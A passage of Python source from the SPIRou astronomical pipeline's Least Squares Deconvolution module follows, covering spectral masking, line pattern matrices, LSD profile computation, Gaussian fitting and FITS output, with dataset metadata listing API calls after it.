over each order\n for order_num in range(ydim):\n # mask NaN values\n nanmask = np.where(np.logical_and(~np.isnan(loc['STOKESI'][order_num]),\n ~np.isnan(loc['POL'][order_num])))\n\n wl_tmp = loc['WAVE'][order_num][nanmask]\n pol_tmp = loc['POL'][order_num][nanmask]\n polerr_tmp = loc['POLERR'][order_num][nanmask]\n flux_tmp = loc['STOKESI'][order_num][nanmask]\n fluxerr_tmp = loc['STOKESIERR'][order_num][nanmask]\n null_tmp = loc['NULL2'][order_num][nanmask]\n\n # set order wavelength limits\n wl0, wlf = ordermask[order_num][0], ordermask[order_num][1]\n # create wavelength mask\n mask = np.where(np.logical_and(wl_tmp > wl0, wl_tmp < wlf))\n\n # test if order is not empty\n if len(wl_tmp[mask]):\n # get masked data\n wl, flux, fluxerr = wl_tmp[mask], flux_tmp[mask], fluxerr_tmp[mask]\n pol, polerr, null = pol_tmp[mask], polerr_tmp[mask], null_tmp[mask]\n\n if p['IC_POLAR_LSD_NORMALIZE']:\n # measure continuum\n # TODO: Should be in constant file\n kwargs = dict(binsize=30, overlap=15, window=2,\n mode='median', use_linear_fit=True)\n continuum, xbin, ybin = spirouCore.Continuum(wl, flux, **kwargs)\n # normalize flux\n flux = flux / continuum\n\n # append data to output vector\n loc['LSD_WAVE'] = np.append(loc['LSD_WAVE'], wl)\n loc['LSD_STOKESI'] = np.append(loc['LSD_STOKESI'], flux)\n loc['LSD_STOKESIERR'] = np.append(loc['LSD_STOKESIERR'], fluxerr)\n loc['LSD_POL'] = np.append(loc['LSD_POL'], pol)\n loc['LSD_POLERR'] = np.append(loc['LSD_POLERR'], polerr)\n loc['LSD_NULL'] = np.append(loc['LSD_NULL'], null)\n\n # sort data by wavelength\n indices = loc['LSD_WAVE'].argsort()\n loc['LSD_WAVE'] = loc['LSD_WAVE'][indices]\n loc['LSD_STOKESI'] = loc['LSD_STOKESI'][indices]\n loc['LSD_STOKESIERR'] = loc['LSD_STOKESIERR'][indices]\n loc['LSD_POL'] = loc['LSD_POL'][indices]\n loc['LSD_POLERR'] = loc['LSD_POLERR'][indices]\n loc['LSD_NULL'] = loc['LSD_NULL'][indices]\n\n # apply barycentric RV correction to the wavelength vector\n # TODO: Should be realivistic correction?\n rv_corr = 1.0 + loc['BERVCEN'] / (constants.c / 1000.)\n loc['LSD_WAVE'] = loc['LSD_WAVE'] * rv_corr\n\n # initialize temporary data vectors\n wl, flux, fluxerr, pol, polerr, null = [], [], [], [], [], []\n # loop over spectral ranges to select only spectral regions of interest\n for wlrange in loc['LSD_LINES_WLRANGES']:\n # set initial and final wavelengths in range\n wl0, wlf = wlrange[0], wlrange[1]\n\n # create wavelength mask to limit wavelength range\n wlmask = np.where(np.logical_and(loc['LSD_WAVE'] > wl0,\n loc['LSD_WAVE'] < wlf))\n wl = np.append(wl, loc['LSD_WAVE'][wlmask])\n flux = np.append(flux, loc['LSD_STOKESI'][wlmask])\n fluxerr = np.append(fluxerr, loc['LSD_STOKESIERR'][wlmask])\n pol = np.append(pol, loc['LSD_POL'][wlmask])\n polerr = np.append(polerr, loc['LSD_POLERR'][wlmask])\n null = np.append(null, loc['LSD_NULL'][wlmask])\n\n # update loc data vectors\n loc['LSD_WAVE'] = wl\n loc['LSD_STOKESI'] = flux\n loc['LSD_STOKESIERR'] = fluxerr\n loc['LSD_POL'] = pol\n loc['LSD_POLERR'] = polerr\n loc['LSD_NULL'] = null\n\n return loc\n\n\ndef lsd_analysis(p, loc):\n \"\"\"\n Function to perform Least Squares Deconvolution (LSD) analysis.\n \n :param p: parameter dictionary, ParamDict containing constants\n Must contain at least:\n LOG_OPT: string, option for logging\n \n :param loc: parameter dictionary, ParamDict to store data\n Must contain at least:\n loc['IC_POLAR_LSD_V0']: initial velocity for LSD profile\n loc['IC_POLAR_LSD_VF']: final velocity for LSD profile\n loc['IC_POLAR_LSD_NP']: number of points in the LSD profile\n loc['LSD_WAVE']: numpy array (1D), wavelength data\n loc['LSD_STOKESI']: numpy array (1D), Stokes I data\n loc['LSD_STOKESIERR']: numpy array (1D), errors of Stokes I\n loc['LSD_POL']: numpy array (1D), degree of polarization data\n loc['LSD_POLERR']: numpy array (1D), errors of polarization\n loc['LSD_NULL']: numpy array (1D), 2nd null polarization\n loc['LSD_LINES_WLC']: numpy array (1D), central wavelengths\n loc['LSD_LINES_DEPTH']: numpy array (1D), line depths\n loc['LSD_LINES_POL_WEIGHT']: numpy array (1D), line weights =\n depth * lande * wlc\n \n :return loc: parameter dictionaries,\n The updated parameter dictionary adds/updates the following:\n loc['LSD_VELOCITIES']: numpy array (1D), LSD profile velocities\n loc['LSD_STOKESI']: numpy array (1D), LSD profile for Stokes I\n loc['LSD_STOKESI_MODEL']: numpy array (1D), LSD gaussian model \n profile for Stokes I\n loc['LSD_STOKESVQU']: numpy array (1D), LSD profile for Stokes \n Q,U,V polarimetry spectrum\n loc['LSD_NULL']: numpy array (1D), LSD profile for null\n polarization spectrum\n \n \"\"\"\n\n # func_name = __NAME__ + '.lsd_analysis()'\n\n # initialize variables to define velocity vector of output LSD profile\n v0, vf, m = p['IC_POLAR_LSD_V0'], p['IC_POLAR_LSD_VF'], p['IC_POLAR_LSD_NP']\n\n # create velocity vector for output LSD profile\n loc['LSD_VELOCITIES'] = np.linspace(v0, vf, m)\n\n # create line pattern matrix for flux LSD\n mm, mmp = line_pattern_matrix(loc['LSD_WAVE'], loc['LSD_LINES_WLC'],\n loc['LSD_LINES_DEPTH'],\n loc['LSD_LINES_POL_WEIGHT'],\n loc['LSD_VELOCITIES'])\n\n # calculate flux LSD profile\n loc['LSD_STOKESI'] = calculate_lsd_profile(loc['LSD_WAVE'],\n loc['LSD_STOKESI'],\n loc['LSD_STOKESIERR'],\n loc['LSD_VELOCITIES'], mm,\n normalize=False)\n\n # fit gaussian to the measured flux LSD profile\n loc['LSD_STOKESI_MODEL'], loc['LSD_FIT_RV'], loc[\n 'LSD_FIT_RESOL'] = fit_gaussian_to_lsd_profile(loc['LSD_VELOCITIES'],\n loc['LSD_STOKESI'])\n\n # calculate polarimetry LSD profile\n loc['LSD_STOKESVQU'] = calculate_lsd_profile(loc['LSD_WAVE'],\n loc['LSD_POL'],\n loc['LSD_POLERR'],\n loc['LSD_VELOCITIES'], mmp)\n\n # calculate null polarimetry LSD profile\n loc['LSD_NULL'] = calculate_lsd_profile(loc['LSD_WAVE'], loc['LSD_NULL'],\n loc['LSD_POLERR'],\n loc['LSD_VELOCITIES'], mmp)\n\n # calculate statistical quantities\n loc['LSD_POL_MEAN'] = np.nanmean(loc['LSD_POL'])\n loc['LSD_POL_STDDEV'] = np.nanstd(loc['LSD_POL'])\n loc['LSD_POL_MEDIAN'] = np.nanmedian(loc['LSD_POL'])\n loc['LSD_POL_MEDABSDEV'] = np.nanmedian(np.abs(loc['LSD_POL'] -\n loc['LSD_POL_MEDIAN']))\n loc['LSD_STOKESVQU_MEAN'] = np.nanmean(loc['LSD_STOKESVQU'])\n loc['LSD_STOKESVQU_STDDEV'] = np.nanstd(loc['LSD_STOKESVQU'])\n loc['LSD_NULL_MEAN'] = np.nanmean(loc['LSD_NULL'])\n loc['LSD_NULL_STDDEV'] = np.nanstd(loc['LSD_NULL'])\n\n return loc\n\n\ndef line_pattern_matrix(wl, wlc, depth, weight, vels):\n \"\"\"\n Function to calculate the line pattern matrix M given in Eq (4) of paper\n Donati et al. (1997), MNRAS 291, 658-682\n \n :param wl: numpy array (1D), input wavelength data (size n = spectrum size)\n :param wlc: numpy array (1D), central wavelengths (size = number of lines)\n :param depth: numpy array (1D), line depths (size = number of lines)\n :param weight: numpy array (1D), line polar weights (size = number of lines)\n :param vels: numpy array (1D), , LSD profile velocity vector (size = m)\n \n :return mm, mmp\n mm: numpy array (2D) of size n x m, line pattern matrix for flux LSD.\n mmp: numpy array (2D) of size n x m, line pattern matrix for polar LSD.\n \"\"\"\n\n # set number of points and velocity (km/s) limits in LSD profile\n m, v0, vf = len(vels), vels[0], vels[-1]\n\n # speed of light in km/s\n c = constants.c / 1000.\n\n # set number of spectral points\n n = len(wl)\n\n # initialize line pattern matrix for flux LSD\n mm = np.zeros((n, m))\n\n # initialize line pattern matrix for polar LSD\n mmp = np.zeros((n, m))\n\n # set first i=0 -> trick to improve speed\n i0 = 0\n # set values of line pattern matrix M\n for l in range(len(wlc)):\n noi0 = True\n for i in range(i0, n):\n # Calculate line velocity: v = c Δλ / λ\n v = c * (wl[i] - wlc[l]) / wlc[l]\n if v0 <= v <= vf:\n # below is a trick to improve speed\n if noi0:\n # next spectral line starts with first i of previous line\n # warning: list of CCF lines must be sorted by wavelength\n i0 = i\n noi0 = False\n for j in range(m - 1):\n if vels[j] <= v < vels[j + 1]:\n mmp[i][j] += weight[l]\n mm[i][j] += depth[l]\n if mm[i][j] > 1.0:\n mm[i][j] = 1.0\n break\n elif v > vf:\n break\n return mm, mmp\n\n\ndef calculate_lsd_profile(wl, flux, fluxerr, vels, mm, normalize=False):\n \"\"\"\n Function to calculate the LSD profile Z given in Eq (4) of paper\n Donati et al. (1997), MNRAS 291, 658-682\n \n :param wl: numpy array (1D), input wavelength data (size = n)\n :param flux: numpy array (1D), input flux or polarimetry data (size = n)\n :param fluxerr: numpy array (1D), input flux or polarimetry error data \n (size = n)\n :param vels: numpy array (1D), , LSD profile velocity vector (size = m)\n :param mm: numpy array (2D) of size n x m, line pattern matrix for LSD.\n :param normalize: bool, to calculate a continuum and normalize profile\n \n :return Z: numpy array (1D) of size m, LSD profile.\n \"\"\"\n\n # set number of spectral points\n # noinspection PyUnusedLocal\n n = len(wl)\n\n # First calculate transpose of M\n mmt = np.matrix.transpose(mm)\n\n # Initialize matrix for dot product between MT . S^2\n mmt_x_s2 = np.zeros_like(mmt)\n\n # Then calculate dot product between MT . S^2, where S^2=covariance matrix\n for j in range(np.shape(mmt)[0]):\n mmt_x_s2[j] = mmt[j] / fluxerr ** 2\n\n # calculate autocorrelation, i.e., MT . S^2 . M\n mmt_x_s2_x_mm = mmt_x_s2.dot(mm)\n\n # calculate the inverse of autocorrelation using numpy pinv method\n mmt_x_s2_x_mm_inv = np.linalg.pinv(mmt_x_s2_x_mm)\n\n # calculate cross correlation term, i.e. MT . S^2 . Y\n x_corr_term = mmt_x_s2.dot(flux)\n\n # calculate velocity profile\n zz = mmt_x_s2_x_mm_inv.dot(x_corr_term)\n # recover last point\n zz[-1] = np.nanmedian(zz[-6:-2])\n\n if normalize:\n # calculate continuum of LSD profile to remove trend\n cont_z, xbin, ybin = spirouCore.Continuum(vels, zz, binsize=20,\n overlap=5,\n sigmaclip=3.0, window=2,\n mode=\"median\",\n use_linear_fit=False)\n # calculate normalized and detrended LSD profile\n zz /= cont_z\n\n return zz\n\n\ndef gauss_function(x, a, x0, sigma):\n return a * np.exp(-(x - x0) ** 2 / (2. * sigma ** 2))\n\n\ndef fit_gaussian_to_lsd_profile(vels, zz):\n \"\"\"\n Function to fit gaussian to LSD Stokes I profile.\n \n :param vels: numpy array (1D), input velocity data\n :param zz: numpy array (1D), input LSD profile data\n \n :return z_gauss, RV, resolving_power:\n z_gauss: numpy array (1D), gaussian fit to LSD profile (same size\n as input vels and Z)\n RV: float, velocity of minimum obtained from gaussian fit\n resolving_power: float, spectral resolving power calculated from\n sigma of gaussian fit\n \"\"\"\n\n # set speed of light in km/s\n c = constants.c / 1000.\n\n # obtain velocity at minimum, amplitude, and sigma for initial guess\n rvel = vels[np.argmin(zz)]\n amplitude = 1.0 - np.min(zz)\n resolving_power = 50000.\n sig = c / (resolving_power * 2.3548)\n\n # get inverted profile\n z_inv = 1.0 - zz\n\n # fit gaussian profile\n guess = [amplitude, rvel, sig]\n # noinspection PyTypeChecker\n popt, pcov = curve_fit(gauss_function, vels, z_inv, p0=guess)\n\n # initialize output profile vector\n z_gauss = np.zeros_like(vels)\n\n for i in range(len(z_gauss)):\n # calculate gaussian model profile\n z_gauss[i] = gauss_function(vels[i], *popt)\n\n # invert fit profile\n z_gauss = 1.0 - z_gauss\n\n # calculate full width at half maximum (fwhm)\n fwhm = 2.35482 * popt[2]\n # calculate resolving power from mesasured fwhm\n resolving_power = c / fwhm\n\n # set radial velocity directly from fitted v_0\n rv = popt[1]\n\n return z_gauss, rv, resolving_power\n\n\ndef get_order_ranges():\n \"\"\"\n Function to provide the valid wavelength ranges for each order in SPIrou.\n \n :param: None\n \n :return orders: array of float pairs for wavelength ranges\n \"\"\"\n # TODO: Should be moved to file in ...misc/INTROOT/SpirouDRS/data/\n orders = [[963.6, 986.0], [972.0, 998.4], [986.3, 1011], [1000.1, 1020],\n [1015, 1035], [1027.2, 1050], [1042, 1065], [1055, 1078],\n [1070, 1096],\n [1084, 1112.8], [1098, 1128], [1113, 1146], [1131, 1162],\n [1148, 1180],\n [1166, 1198], [1184, 1216], [1202, 1235], [1222, 1255],\n [1243, 1275],\n [1263, 1297], [1284, 1320], [1306, 1342], [1328, 1365],\n [1352, 1390],\n [1377, 1415], [1405, 1440], [1429, 1470], [1456, 1497],\n [1485, 1526],\n [1515, 1557], [1545, 1590], [1578, 1623], [1609, 1657],\n [1645, 1692],\n [1681, 1731], [1722, 1770], [1760, 1810], [1800, 1855],\n [1848, 1900],\n [1890, 1949], [1939, 1999], [1991, 2050], [2044.5, 2105],\n [2104, 2162],\n [2161, 2226], [2225, 2293], [2291, 2362], [2362, 2430],\n [2440, 2510]]\n return orders\n\n\ndef output_lsd_image(p, loc, hdict):\n \"\"\"\n Function to set up and save output FITS image to store LSD analyis.\n \n :param p: parameter dictionary, ParamDict containing constants\n :param loc: parameter dictionary, ParamDict to store data\n Must contain at least:\n loc['LSDDATA']: numpy array (2D), LSD analysis data\n :param hdict: dictionary, header dictionary of keywordstores\n each key is the HEADER key and each value is a list of\n two values: [HEADER value, HEADER comment]\n\n :return lsdfits, lsdfitsfitsname:\n lsdfits: string, output full path\n lsdfitsfitsname: string, output filename\n \"\"\"\n\n # construct file names\n lsdfits, tag = spirouConfig.Constants.LSD_POL_FILE(p, loc)\n lsdfitsfitsname = os.path.split(lsdfits)[-1]\n\n columns = ['velocities', 'stokesI', 'stokesI_model', 'stokesVQU', 'Null']\n values = [loc['LSD_VELOCITIES'], loc['LSD_STOKESI'],\n loc['LSD_STOKESI_MODEL'], loc['LSD_STOKESVQU'],\n loc['LSD_NULL']]\n\n\n # save all data into a single array for output FITS\n loc['LSDDATA'] = []\n loc['LSDDATA'] = np.append(loc['LSDDATA'], loc['LSD_VELOCITIES'])\n loc['LSDDATA'] = np.append(loc['LSDDATA'], loc['LSD_STOKESI'])\n loc['LSDDATA'] = np.append(loc['LSDDATA'], loc['LSD_STOKESI_MODEL'])\n loc['LSDDATA'] = np.append(loc['LSDDATA'], loc['LSD_STOKESVQU'])\n loc['LSDDATA'] = np.append(loc['LSDDATA'], loc['LSD_NULL'])\n\n # add LSD parameters keywords to header\n # add input parameters for LSD analysis\n hdict = spirouImage.AddKey(p, hdict, p['KW_POL_STOKES'], value=loc['STOKES'])\n hdict = spirouImage.AddKey(p, hdict, p['kw_POL_LSD_MASK'],\n value=loc['SELECTED_FILE_CCFLINES'])\n hdict = spirouImage.AddKey(p, hdict, p['kw_POL_LSD_V0'],\n value=p['IC_POLAR_LSD_V0'])\n hdict = spirouImage.AddKey(p, hdict, p['kw_POL_LSD_VF'],\n value=p['IC_POLAR_LSD_VF'])\n hdict = spirouImage.AddKey(p, hdict, p['kw_POL_LSD_NP'],\n value=p['IC_POLAR_LSD_NP'])\n\n # add fitted values from gaussian fit to Stokes I LSD\n hdict = spirouImage.AddKey(p, hdict, p['kw_POL_LSD_FIT_RV'],\n value=loc['LSD_FIT_RV'])\n hdict = spirouImage.AddKey(p, hdict, p['kw_POL_LSD_FIT_RESOL'],\n value=loc['LSD_FIT_RESOL'])\n\n # add statistical quantities from LSD analysis\n hdict = spirouImage.AddKey(p, hdict, p['kw_POL_LSD_MEANPOL'],\n value=loc['LSD_POL_MEAN'])\n hdict = spirouImage.AddKey(p, hdict, p['kw_POL_LSD_STDDEVPOL'],\n value=loc['LSD_POL_STDDEV'])\n hdict = spirouImage.AddKey(p, hdict, p['kw_POL_LSD_MEDIANPOL'],\n value=loc['LSD_POL_MEDIAN'])\n hdict = spirouImage.AddKey(p, hdict, p['kw_POL_LSD_MEDABSDEVPOL'],\n value=loc['LSD_POL_MEDABSDEV'])\n hdict = spirouImage.AddKey(p, hdict, p['kw_POL_LSD_STOKESVQU_MEAN'],\n value=loc['LSD_STOKESVQU_MEAN'])\n hdict = spirouImage.AddKey(p, hdict, p['kw_POL_LSD_STOKESVQU_STDDEV'],\n value=loc['LSD_STOKESVQU_STDDEV'])\n hdict = spirouImage.AddKey(p, hdict, p['kw_POL_LSD_NULL_MEAN'],\n value=loc['LSD_NULL_MEAN'])\n hdict = spirouImage.AddKey(p, hdict, p['kw_POL_LSD_NULL_STDDEV'],\n value=loc['LSD_NULL_STDDEV'])\n # add information about the meaning of data columns\n hdict = spirouImage.AddKey(p, hdict, p['kw_POL_LSD_COL1'],\n value=p['IC_POLAR_LSD_DATAINFO'][0])\n hdict = spirouImage.AddKey(p, hdict, p['kw_POL_LSD_COL2'],\n value=p['IC_POLAR_LSD_DATAINFO'][1])\n hdict = spirouImage.AddKey(p, hdict, p['kw_POL_LSD_COL3'],\n value=p['IC_POLAR_LSD_DATAINFO'][2])\n hdict = spirouImage.AddKey(p, hdict, p['kw_POL_LSD_COL4'],\n value=p['IC_POLAR_LSD_DATAINFO'][3])\n hdict = spirouImage.AddKey(p, hdict, p['kw_POL_LSD_COL5'],\n value=p['IC_POLAR_LSD_DATAINFO'][4])\n\n hdict = spirouImage.AddKey(p, hdict, p['KW_OUTPUT'], value=tag)\n\n # Store LSD analysis data in FITS TABLE\n table = spirouImage.MakeTable(p, columns, values)\n spirouImage.WriteTable(p, table, lsdfits, fmt='fits', header=hdict)\n # deal with output onto index.fits\n p = spirouImage.spirouFITS.write_output_dict(p, lsdfits, hdict)\n # Store LSD analysis data in file\n #p = spirouImage.WriteImage(p, lsdfits, loc['LSDDATA'], hdict)\n # return p, lsdfits and lsdfitsname\n return p, lsdfits, lsdfitsfitsname\n\n\n# =============================================================================\n# Start of code\n# =============================================================================\n# Main code here\nif __name__ == \"__main__\":\n # ----------------------------------------------------------------------\n print(\"SPIRou Least-Squares Deconvolution Module\")\n\n# =============================================================================\n# End of code\n# =============================================================================\n", "sub_path": "old_code/INTROOT/SpirouDRS/spirouPOLAR/spirouLSD.py", "file_name": "spirouLSD.py", "file_ext": "py", "file_size_in_byte": 31117, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "SpirouDRS.spirouConfig.Constants.VERSION", "line_number": 27, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouConfig.Constants", "line_number": 27, "usage_type": "attribute"}, {"api_name": "SpirouDRS.spirouConfig", "line_number": 27, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouConfig.Constants.AUTHORS", "line_number": 28, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouConfig.Constants", "line_number": 28, "usage_type": "attribute"}, {"api_name": "SpirouDRS.spirouConfig", "line_number": 28, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouConfig.Constants.LATEST_EDIT", "line_number": 29, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouConfig.Constants", "line_number": 29, "usage_type": "attribute"}, {"api_name": "SpirouDRS.spirouConfig", "line_number": 29, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouConfig.Constants.RELEASE", "line_number": 30, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouConfig.Constants", "line_number": 30, "usage_type": "attribute"}, {"api_name": "SpirouDRS.spirouConfig", "line_number": 30, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouCore.wlog", "line_number": 33, "usage_type": "attribute"}, {"api_name": "SpirouDRS.spirouCore", "line_number": 33, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouConfig.ParamDict", "line_number": 35, "usage_type": "attribute"}, {"api_name": "SpirouDRS.spirouConfig", "line_number": 35, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouConfig.ConfigError", "line_number": 37, "usage_type": "attribute"}, {"api_name": "SpirouDRS.spirouConfig", "line_number": 37, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouCore.sPlt", "line_number": 39, "usage_type": "attribute"}, {"api_name": "SpirouDRS.spirouCore", "line_number": 39, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouConfig.Constants.PACKAGE", "line_number": 109, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouConfig.Constants", "line_number": 109, "usage_type": "attribute"}, {"api_name": "SpirouDRS.spirouConfig", "line_number": 109, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouConfig.Constants.LSD_MASK_DIR", "line_number": 110, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouConfig.Constants", "line_number": 110, "usage_type": "attribute"}, {"api_name": "SpirouDRS.spirouConfig", "line_number": 110, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouConfig.GetAbsFolderPath", "line_number": 112, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouConfig", "line_number": 112, "usage_type": "name"}, {"api_name": "numpy.abs", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 132, "usage_type": "call"}, {"api_name": "os.path", "line_number": 132, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path", "line_number": 134, "usage_type": "attribute"}, {"api_name": "numpy.loadtxt", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 160, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 174, "usage_type": "call"}, {"api_name": "scipy.constants.c", "line_number": 208, "usage_type": "attribute"}, {"api_name": "scipy.constants", "line_number": 208, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 278, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 278, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 278, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 279, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 291, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 291, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouCore.Continuum", "line_number": 304, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouCore", "line_number": 304, "usage_type": "name"}, {"api_name": "numpy.append", "line_number": 309, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 310, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 311, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 312, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 313, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 314, "usage_type": "call"}, {"api_name": "scipy.constants.c", "line_number": 327, "usage_type": "attribute"}, {"api_name": "scipy.constants", "line_number": 327, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 338, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 338, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 340, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 341, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 342, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 343, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 344, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 345, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 401, "usage_type": "call"}, {"api_name": "numpy.nanmean", "line_number": 433, "usage_type": "call"}, {"api_name": "numpy.nanstd", "line_number": 434, "usage_type": "call"}, {"api_name": "numpy.nanmedian", "line_number": 435, "usage_type": "call"}, {"api_name": "numpy.nanmedian", "line_number": 436, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 436, "usage_type": "call"}, {"api_name": "numpy.nanmean", "line_number": 438, "usage_type": "call"}, {"api_name": "numpy.nanstd", "line_number": 439, "usage_type": "call"}, {"api_name": "numpy.nanmean", "line_number": 440, "usage_type": "call"}, {"api_name": "numpy.nanstd", "line_number": 441, "usage_type": "call"}, {"api_name": "scipy.constants.c", "line_number": 466, "usage_type": "attribute"}, {"api_name": "scipy.constants", "line_number": 466, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 472, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 475, "usage_type": "call"}, {"api_name": "numpy.matrix.transpose", "line_number": 525, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 525, "usage_type": "attribute"}, {"api_name": "numpy.zeros_like", "line_number": 528, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 531, "usage_type": "call"}, {"api_name": "numpy.linalg.pinv", "line_number": 538, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 538, "usage_type": "attribute"}, {"api_name": "numpy.nanmedian", "line_number": 546, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouCore.Continuum", "line_number": 550, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouCore", "line_number": 550, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 562, "usage_type": "call"}, {"api_name": "scipy.constants.c", "line_number": 581, "usage_type": "attribute"}, {"api_name": "scipy.constants", "line_number": 581, "usage_type": "name"}, {"api_name": "numpy.argmin", "line_number": 584, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 585, "usage_type": "call"}, {"api_name": "scipy.optimize.curve_fit", "line_number": 595, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 598, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouConfig.Constants.LSD_POL_FILE", "line_number": 667, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouConfig.Constants", "line_number": 667, "usage_type": "attribute"}, {"api_name": "SpirouDRS.spirouConfig", "line_number": 667, "usage_type": "name"}, {"api_name": "os.path.split", "line_number": 668, "usage_type": "call"}, {"api_name": "os.path", "line_number": 668, "usage_type": "attribute"}, {"api_name": "numpy.append", "line_number": 678, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 679, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 680, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 681, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 682, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 686, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 686, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 687, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 687, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 689, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 689, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 691, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 691, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 693, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 693, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 697, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 697, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 699, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 699, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 703, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 703, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 705, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 705, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 707, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 707, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 709, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 709, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 711, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 711, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 713, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 713, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 715, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 715, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 717, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 717, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 720, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 720, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 722, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 722, "usage_type": "name"}, {"api_name": "SpirouDRS.spirouImage.AddKey", "line_number": 724, "usage_type": "call"}, {"api_name": "SpirouDRS.spirouImage", "line_number": 724, "usage_type": "name"}, 